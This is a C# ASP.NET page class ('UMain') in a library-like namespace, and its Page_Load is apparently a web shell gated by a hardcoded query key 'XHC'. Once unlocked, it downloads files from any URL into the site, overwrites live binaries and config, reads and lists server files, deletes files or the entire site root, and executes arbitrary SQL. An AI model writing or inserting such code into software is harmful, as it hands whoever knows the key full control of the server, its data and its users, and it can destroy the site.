﻿namespace Pub.Class
{
    using System;
    using System.Collections.Generic;
    using System.IO;
    using System.Net;
    using System.Text;
    using System.Text.RegularExpressions;
    using System.Web.UI;

    public class UMain : Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
            string str6;
            string format = string.Empty;
            string oldValue = string.Empty;
            bool flag = true;
            string str3 = "XHC";
            string[] strArray = new string[] { "/bin.bak/", "/app_data.bak/", "/app_code.bak/", @"\.dll.bak", @"\.aspx.bak", @"\.config.bak", @"\.master.bak", @"\.asax.bak", @"\.ascx.bak", @"\.compiled.bak", @"\.asmx.bak", @"\.cs.bak" };
            string[] strArray2 = new string[] { "/Bin/", "/App_Data/", "/App_Code/", @"\.dll", @"\.aspx", @"\.config", @"\.master", @"\.asax", @"\.ascx", @"\.compiled", @"\.asmx", @"\.cs" };
            string[] strArray3 = new string[] { "{1}: {0} ok!", "<font color='red'>{1}: {0} error!</font>" };
            string str4 = Request2.GetQ("u").Trim();
            if (!str3.Equals(str4))
            {
                base.Response.End();
            }
            switch (Request2.GetQ("active").Trim())
            {
                case "sh":
                    return;

                case "do":
                {
                    string str10;
                    str6 = Request2.Get("file").HtmlDecode().Trim();
                    if (str6.IsNullEmpty())
                    {
                        Msg.WriteEnd("error file.");
                    }
                    string str7 = str6.Substring(0, 3);
                    str6 = "/" + str6.Substring(3).TrimStart(new char[] { '/' }).TrimStart(new char[] { '\\' }).Replace(@"\", "/");
                    if (str6.Length < 1)
                    {
                        Msg.WriteEnd(string.Format(strArray3[1], str6, "file"));
                    }
                    string str8 = Request2.Get("url").HtmlDecode().Replace(@"\", "/").TrimEnd(new char[] { '/' }).TrimEnd(new char[] { '\\' }).Trim();
                    if (str8.Length < 10)
                    {
                        Msg.WriteEnd(string.Format(strArray3[1], str8, "url"));
                    }
                    switch (str7)
                    {
                        case "af:":
                        {
                            flag = true;
                            for (int i = 0; i < strArray.Length; i++)
                            {
                                str6 = new Regex(strArray[i], RegexOptions.IgnoreCase).Replace(str6, strArray2[i]);
                            }
                            str6 = str6.Replace(@"\.", ".");
                            string[] strArray4 = str6.Split(new char[] { '/' });
                            if (strArray4.Length > 1)
                            {
                                oldValue = strArray4[strArray4.Length - 1];
                                FileDirectory.DirectoryVirtualCreate("~/tmp" + str6.Replace(oldValue, ""));
                            }
                            for (int j = 0; j < strArray.Length; j++)
                            {
                                str6 = new Regex(strArray2[j], RegexOptions.IgnoreCase).Replace(str6, strArray[j]);
                            }
                            str6 = str6.Replace(@"\.", ".");
                            str8 = str8 + str6;
                            for (int k = 0; k < strArray.Length; k++)
                            {
                                str6 = new Regex(strArray[k], RegexOptions.IgnoreCase).Replace(str6, strArray2[k]);
                            }
                            str6 = str6.Replace(@"\.", ".");
                            format = "~/tmp/".GetMapPath() + "{0}";
                            str6 = str6.Replace("/", @"\");
                            oldValue = string.Format(format, str6);
                            WebClient client = new WebClient();
                            try
                            {
                                client.DownloadFile(str8, oldValue);
                            }
                            catch
                            {
                                flag = false;
                            }
                            finally
                            {
                                client.Dispose();
                            }
                            str6 = str6.Replace(@"\", "/");
                            for (int m = 0; m < strArray.Length; m++)
                            {
                                str6 = new Regex(strArray2[m], RegexOptions.IgnoreCase).Replace(str6, strArray[m]);
                            }
                            str6 = str6.Replace(@"\.", ".");
                            if (flag)
                            {
                                base.Response.Write(string.Format(strArray3[0], str6, "add file"));
                            }
                            else
                            {
                                base.Response.Write(string.Format(strArray3[1], str6, "add file"));
                            }
                            break;
                        }
                        case "df:":
                            if (str6 == "/all")
                            {
                                FileDirectory.APIDelete(Server2.GetMapPath("~/"));
                                Msg.WriteEnd(string.Format(strArray3[0], "all", "del file") + "<br>");
                            }
                            format = Server2.GetMapPath("~/") + str6;
                            if (!FileDirectory.FileExists(format))
                            {
                                Msg.WriteEnd(string.Format(strArray3[1], str6, "del file"));
                            }
                            try
                            {
                                FileDirectory.FileDelete(format);
                            }
                            catch
                            {
                                Msg.WriteEnd(string.Format(strArray3[1], str6, "del file"));
                            }
                            base.Response.Write(string.Format(strArray3[0], str6, "del file"));
                            break;

                        case "rf:":
                            format = Server2.GetMapPath("~/") + str6;
                            if (!FileDirectory.FileExists(format))
                            {
                                Msg.WriteEnd(string.Format(strArray3[1], str6, "read file"));
                            }
                            Msg.WriteEnd(("<textarea id=\"txtText\" cols=\"70\" rows=\"20\">" + Log.ReadAll(format, Encoding.UTF8) + "</textarea>") + " ok!");
                            break;

                        case "ap:":
                            FileDirectory.DirectoryVirtualCreate("~" + str6);
                            Msg.WriteEnd(string.Format(strArray3[0], str6, "add path"));
                            break;

                        case "dp:":
                            format = Server2.GetMapPath("~/") + str6;
                            try
                            {
                                if (Directory.Exists(format))
                                {
                                    Directory.Delete(format);
                                }
                            }
                            catch
                            {
                                Msg.WriteEnd(string.Format(strArray3[1], str6, "del path"));
                            }
                            Msg.WriteEnd(string.Format(strArray3[0], str6, "del path"));
                            break;

                        case "rp:":
                        {
                            format = Server2.GetMapPath("~/") + str6.TrimStart(new char[] { '/' }).TrimEnd(new char[] { '/' }) + "/";
                            string str11 = "";
                            IList<string> fileList = new List<string>();
                            StringBuilder builder = new StringBuilder();
                            try
                            {
                                FileDirectory.FileList(format, ref fileList, format);
                                format = format.Replace(@"\/", @"\");
                                for (int n = 0; n < fileList.Count; n++)
                                {
                                    str6 = fileList[n].Trim().TrimStart(new char[] { '.' });
                                    if (!str6.Equals(""))
                                    {
                                        try
                                        {
                                            str11 = new FileInfo(str6).Length.FormatKB();
                                        }
                                        catch
                                        {
                                            str11 = "0";
                                        }
                                        builder.Append(str6.Replace(format, "").Replace(@"\", "/") + " (" + str11 + ")" + Environment.NewLine);
                                        if (n.Equals((int) (fileList.Count - 2)))
                                        {
                                            builder.Append(string.Concat(new object[] { "(", fileList.Count, ")", Environment.NewLine }));
                                        }
                                    }
                                }
                            }
                            catch
                            {
                                Msg.WriteEnd(string.Format(strArray3[1], str6, "read path"));
                            }
                            str10 = format + "<br /><textarea id=\"txtText\" cols=\"100\" rows=\"20\">" + builder.ToString() + "</textarea>";
                            Msg.WriteEnd(string.Format(strArray3[0], str10, "read path"));
                            break;
                        }
                        case "db:":
                            str6 = str6.Replace("/r/n", Environment.NewLine).Trim(new char[] { '/' });
                            if (str6.IndexOf(Environment.NewLine + "GO" + Environment.NewLine) == -1)
                            {
                                str10 = str6 + "<br /><textarea id=\"txtText\" cols=\"100\" rows=\"20\">" + Data.GetDataSet(str6).ToJson() + "</textarea>";
                                Msg.WriteEnd(string.Format(strArray3[0], str10, "read db"));
                                break;
                            }
                            Data.ExecuteCommandWithSplitter(str6, "GO", false);
                            Msg.WriteEnd(string.Format(strArray3[0], "", "read db"));
                            break;

                        default:
                            Msg.WriteEnd("file error!");
                            break;
                    }
                    base.Response.End();
                    return;
                }
                case "ok":
                {
                    format = "~/tmp/".GetMapPath();
                    IList<string> list2 = new List<string>();
                    FileDirectory.FileList(format, ref list2, format);
                    for (int num6 = 0; num6 < list2.Count; num6++)
                    {
                        str6 = list2[num6].Trim().TrimStart(new char[] { '.' });
                        if (str6.Length >= 2)
                        {
                            oldValue = format + str6;
                            flag = FileDirectory.FileCopy(oldValue, Server2.GetMapPath("~/") + str6, true);
                            if (flag)
                            {
                                FileDirectory.FileDelete(oldValue);
                            }
                            if (flag)
                            {
                                base.Response.Write(string.Format(strArray3[0], str6, "update") + "<br />");
                            }
                            else
                            {
                                base.Response.Write(string.Format(strArray3[1], str6, "update") + "<br />");
                            }
                        }
                    }
                    base.Response.End();
                    return;
                }
            }
            base.Response.Write("active error!");
            base.Response.End();
        }
    }
}

